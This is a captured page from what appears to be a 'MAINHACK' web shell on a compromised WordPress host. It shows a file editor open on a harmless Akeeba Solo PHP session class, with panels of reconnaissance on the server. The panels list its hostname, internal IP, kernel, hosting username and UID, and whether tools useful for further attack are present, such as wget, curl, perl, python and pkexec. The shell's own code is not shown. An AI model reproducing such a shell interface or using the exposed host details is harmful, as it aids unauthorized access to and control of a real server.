[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Segment.php
<?php /** * @package solo * @copyright Copyright (c)2014-2026 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 3, or later */ namespace Solo\Session; use Awf\Session\SegmentInterface; use Solo\Helper\HashHelper; class Segment extends \Awf\Session\Segment implements SegmentInterface { /** * Forces a session start (or reactivation) and loads the segment data from WordPress' user meta storage. * * @return void * */ protected function load() { // CLI mode if (!defined('WPINC')) { return; } // is data already loaded? if ($this->data !== null) { // no need to re-load return; } // if the session is not started, start it if (!$this->session->isStarted()) { $this->session->start(); } // Intialize data $this->data = array(); // Get the WordPress user meta key $metaKey = $this->session->getName() . '_' . HashHelper::md5($this->getName()); $userId = get_current_user_id(); $this->data = get_user_meta($userId, $metaKey, true); // Sometimes WordPress returns broken data if (!is_array($this->data)) { $this->data = array(); } } /** * Commit the session data to WordPress' user meta storage. * * @return void */ public function save() { // CLI mode if (!defined('WPINC')) { return; } $metaKey = $this->session->getName() . '_' . HashHelper::md5($this->getName()); $userId = get_current_user_id(); update_user_meta($userId, $metaKey, $this->data); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm021.cluster127.gra.hosting.ovh.net
Server IP: 10.127.20.21
PHP Version: 8.4.22
Server Software: Apache
System: Linux webm021.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: vcomplcotr
User ID (UID): 38697
Group ID (GID): 100
Script Owner UID: 38697
Current Dir Owner: 38697